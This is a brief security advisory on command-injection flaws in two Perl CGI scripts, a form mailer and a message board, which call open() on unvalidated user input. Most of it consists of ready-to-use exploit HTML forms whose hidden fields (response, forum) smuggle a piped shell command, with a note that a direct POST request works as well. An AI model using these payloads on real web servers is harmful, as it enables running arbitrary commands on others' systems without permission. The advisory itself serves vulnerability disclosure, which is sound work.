suid@suid.kg - mini advisory - Cliff's Form Mailer and Message board CGIs

Software:   form.cgi and message.cgi 
URL:    https://www.shavenferret.com/scripts/form/
URL:    https://www.shavenferret.com/scripts/message/
Version:  Version 1.0
Platforms:  Unix
Type:    Input validation problem

Summary:

  Anyone can execute any command on the remote system with
  the priveleges of the web server.

Vulnerability:

  The perl code does no input validation and performs an
  open() on a user supplied input.

Exploits:

  (1) form.cgi

  Build a HTML form resembling:

  <form action=/cgi-bin/form.cgi method=post>

    <!-- heres the little sucker -->
    <input type=hidden name=response value="| <cmd to exec>">

    <input type=hidden name=email value="suid@suid.edu">
    <input type=hidden name=name value="name">
     <input type=hidden name=subject value=x>
     <input type=submit>
  </form>       

  (2) message.cgi

  <form action=/cgi-bin/message.cgi method=post>
    <input type="hidden" name="name" value="X">
    <input type="hidden" name="email" value="X@X.X">
    <input type="hidden" name="subject" value="X">
    <input type="hidden" name="body" value="X">
    <input type="hidden" name="song" value="">
    <input type="hidden" name="icon" value="X">
    <input type="hidden" name="email_reply" value="no">
    <input type="hidden" name="history" value="">
  <!-- here tis -->
    <input type="hidden" name="forum" 
    value=" | <command goes here> |">
  <!-- hmm -->

    <input type="hidden" name="required" value="0">
    <input type="hidden" name="reply" value="no">
    <input type="hidden" name="action" value="new_message">
    <input type="submit">
  </form>

  Of course you could simply send this in a POST request directly
  to the web server. Whatever.


https://www.suid.edu/advisories/006.txt

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